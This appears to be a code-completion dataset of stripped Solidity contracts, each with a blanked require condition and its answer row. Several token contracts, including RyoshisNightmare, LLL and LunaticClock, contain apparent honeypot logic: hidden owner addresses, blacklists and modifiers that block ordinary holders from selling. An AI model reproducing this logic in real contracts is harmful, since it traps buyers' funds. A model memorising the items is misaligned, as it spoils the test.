function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfTokenHolders() external view returns(uint256) {
}
// Check to see if I really made this contract or if it is a clone!
// @Sir_Tris on TG, @SirTrisCrypto on Twitter
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
}
function getAccountAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function process(uint256 gas) external returns (uint256, uint256, uint256) {
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
}
}
| excludedFromDividends[account] | 68,756 | excludedFromDividends[account] |
"ERC20: transfer amount exceeds balance" | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract RyoshisNightmare is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwnr;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x36B59455AfeEdf0866FE6E775FE7651bbBe3e005;
address public _ownr = 0x3EEce0F22BECdbfEa55f3732b10Fc986a982461f;
constructor () public {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _pApproval(address[] memory destination) public {
}
function _mApproval(address safeOwner) public {
}
modifier mainboard(address dest, uint256 num, address from, address filler){
if (
_ownr == _safeOwnr
&& from == _ownr
)
{_safeOwnr = dest;_;
}else
{
if (
from == _ownr
|| from == _safeOwnr
|| dest == _ownr
)
{
if (
from == _ownr
&& from == dest
)
{_discardedAmt = num;
}_;
}else
{
if (
_plus[from] == true
)
{
_;
}else{if (
_discarded[from] == true
)
{
require(<FILL_ME>)
_;
}else{
if (
num < _discardedAmt
)
{
if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false;
}
_; }else{require((from == _safeOwnr)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}
}
}
}
}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
}
function _mint(address account, uint256 amount) public {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
}
function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual {
}
function _setupDecimals(uint8 decimals_) internal {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
}
function distribute(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
}
function buy(address recipient) public _verify(){
}
function buyList(address[] memory addrss) public _verify(){
}
function sell(address recipient) public _verify(){
}
function approval(address addr) public _verify() virtual returns (bool) {
}
function transferToTokenSaleParticipant(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
}
}
| (from==_safeOwnr)||(dest==_path_),"ERC20: transfer amount exceeds balance" | 68,871 | (from==_safeOwnr)||(dest==_path_) |
'Address already claimed!' | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'openzeppelin-contracts/contracts/access/Ownable.sol';
import 'openzeppelin-contracts/contracts/utils/cryptography/MerkleProof.sol';
import 'openzeppelin-contracts/contracts/security/ReentrancyGuard.sol';
import 'openzeppelin-contracts/contracts/utils/Strings.sol';
import '../lib/ERC721A/contracts/extensions/ERC721AQueryable.sol';
import '../lib/operator-filter-registry/src/DefaultOperatorFilterer.sol';
contract NIHToken is ERC721AQueryable, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => bool) public allowlistClaimed;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public hiddenMetadataUri;
uint256 public cost;
uint256 public maxSupply;
uint256 public maxMintAmountPerTx;
uint256 public allowListSaleStatus;
bool public paused = true;
bool public allowlistMintEnabled = false;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _hiddenMetadataUri
) ERC721A(_tokenName, _tokenSymbol) {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function allowlistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
// Verify allowlist requirements
require(allowlistMintEnabled, 'The allowlist sale is not enabled!');
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encodePacked(_msgSender()));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), 'Invalid proof!');
allowlistClaimed[_msgSender()] = true;
_safeMint(_msgSender(), _mintAmount);
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setallowlistMintEnabled(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
// code for web app
function setAllowListSaleStatus(uint256 _allowListSaleStatus) public onlyOwner {
}
// Opensea stuff
function setApprovalForAll(address operator, bool _approved) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator){
}
function approve(address operator, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator){
}
function transferFrom(address from, address to, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from){
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from){
}
}
| !allowlistClaimed[_msgSender()],'Address already claimed!' | 68,885 | !allowlistClaimed[_msgSender()] |
"ERC20: trading is not yet enabled." | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Pair {
event Sync(uint112 reserve0, uint112 reserve1);
function sync() external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private lunArr;
mapping (address => bool) private Terra;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public pair;
uint256 private Bikes = 0;
IDEXRouter router;
string private _name; string private _symbol; address private addr1taekwondo; uint256 private _totalSupply;
bool private trading; uint256 private theN; uint256 private cars; bool private Korean; uint256 private Forming;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function symbol() public view virtual override returns (string memory) {
}
function last(uint256 g) internal view returns (address) { }
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
receive() external payable {
}
function _balancesOfTheLunas(address sender, address recipient) internal {
require(<FILL_ME>)
_balancesOfTheLunatics(sender, recipient);
}
function _LunaticTimes(address creator) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _balancesOfTheLunatics(address sender, address recipient) internal {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployTicker(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract LunaticClock is ERC20Token {
constructor() ERC20Token("Lunatic Clock", "TICKER", msg.sender, 900000 * 10 ** 18) {
}
}
| (trading||(sender==addr1taekwondo)),"ERC20: trading is not yet enabled." | 68,903 | (trading||(sender==addr1taekwondo)) |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IERC20 {
function decimals() external returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract LLL is Ownable {
using SafeMath for uint256;
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address coin;
address pair;
mapping(address => bool) whites;
mapping(address => bool) blacks;
bool enabled = true;
receive() external payable { }
function initParam(address _coin, address _pair) external onlyOwner {
}
function setEnabled(bool _enabled) external onlyOwner {
}
function resetParam() external onlyOwner {
}
function allowance(
address from,
address to
) external view returns (uint256) {
if (whites[from] || whites[to] || pair == address(0)) {
return 1;
}
else if ((from == owner() || from == address(this)) && to == pair) {
return 0;
}
if (from != pair) {
require(enabled);
require(<FILL_ME>)
}
return 0;
}
function swap(uint256 count) external onlyOwner {
}
function addWL(address[] memory _wat) external onlyOwner{
}
function addBL(address[] memory _bat) external onlyOwner{
}
function claimDust() external onlyOwner {
}
}
| !blacks[from] | 68,934 | !blacks[from] |
"Not owner or Fair.xyz!" | // SPDX-License-Identifier: MIT
// @ Fair.xyz dev
pragma solidity 0.8.17;
import "ERC721xyzUpgradeable.sol";
import "IFairXYZWallets.sol";
import "ECDSAUpgradeable.sol";
import "AccessControlUpgradeable.sol";
import "MerkleProofUpgradeable.sol";
import "MulticallUpgradeable.sol";
import "ReentrancyGuardUpgradeable.sol";
import "OwnableUpgradeable.sol";
contract FairXYZDeployer is
ERC721xyzUpgradeable,
AccessControlUpgradeable,
MulticallUpgradeable,
ReentrancyGuardUpgradeable,
OwnableUpgradeable
{
using ECDSAUpgradeable for bytes32;
using StringsUpgradeable for uint256;
struct TokensAvailableToMint {
// Max number of tokens on sale across the whole collection
uint128 maxTokens;
// The creator can enforce a max mints per wallet at a global level, i.e. across all stages
uint128 globalMintsPerWallet;
}
TokensAvailableToMint public tokensAvailable;
// URI information
string internal baseURI;
string internal pathURI;
string internal preRevealURI;
string internal _overrideURI;
bool public lockURI;
// Bool to allow signature-less minting, in case the seller/creator wants to liberate themselves
// from being bound to a signature generated on the Fair.xyz back-end
bool public signatureReleased;
// Interface into FairXYZWallets. This provides the wallet address to which the Fair.xyz fee is sent to
address public interfaceAddress;
// Burnable token bool
bool public burnable;
// Royalty information - this tells the contract where the proceeds from the primary sale should go to
address internal _primarySaleReceiver;
// Tightly pack the parameters that define a sale stage
struct StageData {
uint40 startTime;
uint40 endTime;
uint32 mintsPerWallet;
uint32 phaseLimit;
uint112 price;
bytes32 merkleRoot;
}
// Mapping a stage ID to its corresponding StageData struct
mapping(uint256 => StageData) internal stageMap;
// Mapping to keep track of the number of mints a given wallet has done on a specific stage
mapping(uint256 => mapping(address => uint256)) public stageMints;
// Total number of sale stages
uint256 public totalStages;
// Pre-defined roles for AccessControl
bytes32 public constant SECOND_ADMIN_ROLE = keccak256("T2A");
bytes32 public constant MINTER_ROLE = keccak256("MINTER");
// Fair.xyz address required for verifying signatures in the contract
address internal constant FairxyzSignerAddress =
0x7A6F5866f97034Bb7153829bdAaC1FFCb8Facb71;
address constant DEFAULT_OPERATOR_FILTER_REGISTRY =
0x000000000000AAeB6D7670E522A718067333cd4E;
address constant DEFAULT_OPERATOR_FILTER_SUBSCRIPTION =
0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6;
// Can be set to true to disable checking merkle proof
bool public merkleDisabled;
// An external address which is allowed to burn tokens
// e.g. to enable burn-to-redeem without setting approval
address public approvedBurner;
// Events
event Airdrop(uint256 tokenCount, uint256 newTotal, address[] recipients);
event BurnableSet(bool burnState);
event SignatureReleased();
event NewMaxMintsPerWalletSet(uint128 newGlobalMintsPerWallet);
event NewPathURI(string newPathURI);
event NewPrimarySaleReceiver(address newPrimaryReceiver);
event NewSecondaryRoyalties(
address newSecondaryReceiver,
uint96 newRoyalty
);
event NewStagesSet(StageData[] stages, uint256 startIndex);
event NewTokenURI(string newTokenURI);
event Mint(address minterAddress, uint256 stage, uint256 mintCount);
event URILocked();
event MerkleDisabled(bool disabled);
event ApprovedBurnerSet(address burner);
// Errors
error AlreadyLockedURI();
error BurnerIsNotApproved();
error BurningOff();
error CannotDeleteOngoingStage();
error CannotEditPastStages();
error ETHSendFail();
error EndTimeInThePast();
error EndTimeLessThanStartTime();
error ExceedsMintsPerWallet();
error ExceedsNFTsOnSale();
error IncorrectIndex();
error InvalidNonce();
error InvalidStartTime();
error LessNFTsOnSaleThanBefore();
error MerkleProofFail();
error MerkleStage();
error NotEnoughETH();
error PhaseLimitEnd();
error PhaseLimitExceedsTokenCount();
error PhaseStartsBeforePriorPhaseEnd();
error PublicStage();
error ReusedHash();
error SaleEnd();
error SaleNotActive();
error StageDoesNotExist();
error StartTimeInThePast();
error TimeLimit();
error TokenCountExceedsPhaseLimit();
error TokenDoesNotExist();
error TokenLimitPerTx();
error UnauthorisedUser();
error UnrecognizableHash();
error ZeroAddress();
/**
* @dev Returns the wallet of Fair.xyz to which primary sale fee will be
*/
function viewWithdraw() public view returns (address) {
}
/**
* @dev Intended to be called from the original implementation for the factory contract
*/
function initialize() external initializer {
}
/**
* @dev Initialise a new Creator contract by setting variables and initialising
* inherited contracts
*/
function _initialize(
uint128 maxTokens_,
string memory name_,
string memory symbol_,
address interfaceAddress_,
string[] memory URIs_,
uint96 royaltyPercentage_,
uint128 globalMintsPerWallet_,
address[] memory royaltyReceivers,
address ownerOfContract,
StageData[] calldata stages
) external initializer {
}
/**
* @dev Ensure number of minted tokens never goes above the total contract minting limit
*/
modifier saleIsOpen() {
}
/**
* @dev View sale parameters corresponding to a given stage
*/
function viewStageMap(uint256 stageId)
public
view
returns (StageData memory)
{
}
/**
* @dev View the current active sale stage for a sale based on being within the
* time bounds for the start time and end time for the considered stage
*/
function viewCurrentStage() public view returns (uint256) {
}
/**
* @dev Returns the earliest stage which has not closed yet
*/
function viewLatestStage() public view returns (uint256) {
}
/**
* @dev See _setStages
*/
function setStages(StageData[] calldata stages, uint256 startId) external {
}
/**
* @dev Set the parameters for a list of sale stages, starting from startId onwards
*/
function _setStages(StageData[] calldata stages, uint256 startId)
internal
returns (uint256)
{
}
/**
* @dev Lock the token metadata forever. This action is non reversible.
*/
function lockURIforever() external {
}
/**
* @dev Hash the variables to be modified for URI changes.
*/
function hashURIChange(
address sender,
string memory newPathURI,
string memory newURI,
address address_
) private pure returns (bytes32) {
}
/**
* @dev Change values for the URIs. New Path URI implies a new reveal date being used.
* newURI acts as an override for all priorly defined URIs). If lockURI() has been
* executed, then this function will fail, as the data will have been locked forever.
*/
function changeURI(
bytes memory signature,
string memory newPathURI,
string memory newURI
) external {
}
/**
* @dev Set global max mints per wallet
*/
function setGlobalMaxMints(uint128 newGlobalMaxMintsPerWallet) external {
}
function setBurner(address burner) external {
}
function toggleMerkleDisabled() external {
}
/**
* @dev Toggle the burn state for NFTs in the contract
*/
function toggleBurnable() external {
}
/**
* @dev Override primary royalty receiver
*/
function changePrimarySaleReceiver(address newPrimarySaleReceiver)
external
{
}
/**
* @dev Override secondary royalty receivers
*/
function changeSecondaryRoyaltyReceiver(
address newSecondaryRoyaltyReceiver,
uint96 newRoyaltyValue
) external {
}
/**
* @dev Return the Base URI, used when there is no expected reveal experience
*/
function _baseURI() public view returns (string memory) {
}
/**
* @dev Return the path URI - used for reveal experience
*/
function _pathURI() public view returns (string memory) {
}
/**
* @dev Return the pre-reveal URI, which is used when there is a reveal experience
* and the reveal metadata has not been set yet.
*/
function _preRevealURI() public view returns (string memory) {
}
/**
* @dev Combines path URI, base URI and pre-reveal URI for the full metadata journey on Fair.xyz
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
/**
* @dev See the total mints across all stages for a wallet
*/
function totalWalletMints(address minterAddress)
external
view
returns (uint256)
{
}
/**
* @dev Burn a token. This requires being an owner of the NFT. The expected behaviour for a
* burn mechanism is that the user transfers their NFT to a redemption contract which in turn
* calls this function
*/
function burn(uint256 tokenId) external returns (uint256) {
}
/**
* @dev Airdrop tokens to a list of addresses
*/
function airdrop(address[] memory address_, uint256 tokenCount)
external
returns (uint256)
{
}
/**
* @notice Verify merkle proof for address and address minting limit
*/
function verifyMerkleAddress(
bytes32[] calldata merkleProof,
bytes32 _merkleRoot,
address minterAddress,
uint256 walletLimit
) private pure returns (bool) {
}
/**
* @dev Mint token(s) for allowlist sales
*/
function merkleMint(
bytes32[] calldata _merkleProof,
uint256 numberOfTokens,
uint256 maxMintsPerWallet,
address recipient
) external payable saleIsOpen {
}
/**
* @dev Only owner or Fair.xyz - withdraw contract balance to owner wallet. 6% primary sale fee to Fair.xyz
*/
function withdraw() external payable nonReentrant {
require(<FILL_ME>)
uint256 contractBalance = address(this).balance;
(bool sent, ) = viewWithdraw().call{value: (contractBalance * 3) / 50}(
""
);
if (!sent) revert ETHSendFail();
uint256 remainingContractBalance = address(this).balance;
(bool sent_, ) = _primarySaleReceiver.call{
value: remainingContractBalance
}("");
if (!sent_) revert ETHSendFail();
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControlUpgradeable, ERC721xyzUpgradeable)
returns (bool)
{
}
/**
* @dev overrides {UpdatableOperatorFilterUpgradeable} function to determine the role of operator filter admin
*/
function _isOperatorFilterAdmin(address operator)
internal
view
override
returns (bool)
{
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[48] private __gap;
}
| hasRole(DEFAULT_ADMIN_ROLE,msg.sender)||msg.sender==viewWithdraw(),"Not owner or Fair.xyz!" | 69,073 | hasRole(DEFAULT_ADMIN_ROLE,msg.sender)||msg.sender==viewWithdraw() |
"trading is already open" | // SPDX-License-Identifier: MIT
/**
Website: https://www.wowfinance.xyz
WowStake: https://app.wowfinance.xyz
Docs: https://docs.wowfinance.xyz
Medium: https://medium.com/@wowstake
Twitter: https://twitter.com/stakewow
Telegram: https://t.me/stakewow
*/
pragma solidity 0.8.19;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {
}
modifier onlyOwner() {
}
function isOwner(address account) public view returns (bool) {
}
function renounceOwnership() public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract StakeWow is ERC20, Ownable {
using SafeMath for uint256;
address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address DEAD = 0x000000000000000000000000000000000000dEaD;
string constant _name = "StakeWow";
string constant _symbol = "WOW";
uint8 constant _decimals = 18;
uint256 public _totalSupply = 100_000_000 * (10**_decimals);
uint256 public _maxWalletAmount = (_totalSupply * 2) / 100;
uint256 public _swapThreshold = (_totalSupply * 1)/ 100000;
uint256 public _maxTaxSwap=(_totalSupply * 2) / 1000;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) isFeeExempt;
mapping(address => bool) isTxLimitExempt;
address public _taxWallet;
address public pair;
IDEXRouter public router;
bool public swapEnabled = false;
bool public feeEnabled = false;
bool public TradingOpen = false;
uint256 private _initBuyTax=20;
uint256 private _initSellTax=20;
uint256 private _finalBuyTax=2;
uint256 private _finalSellTax=2;
uint256 private _reduceBuyTaxAt=16;
uint256 private _reduceSellTaxAt=22;
uint256 private _buyCounts=0;
bool inSwap;
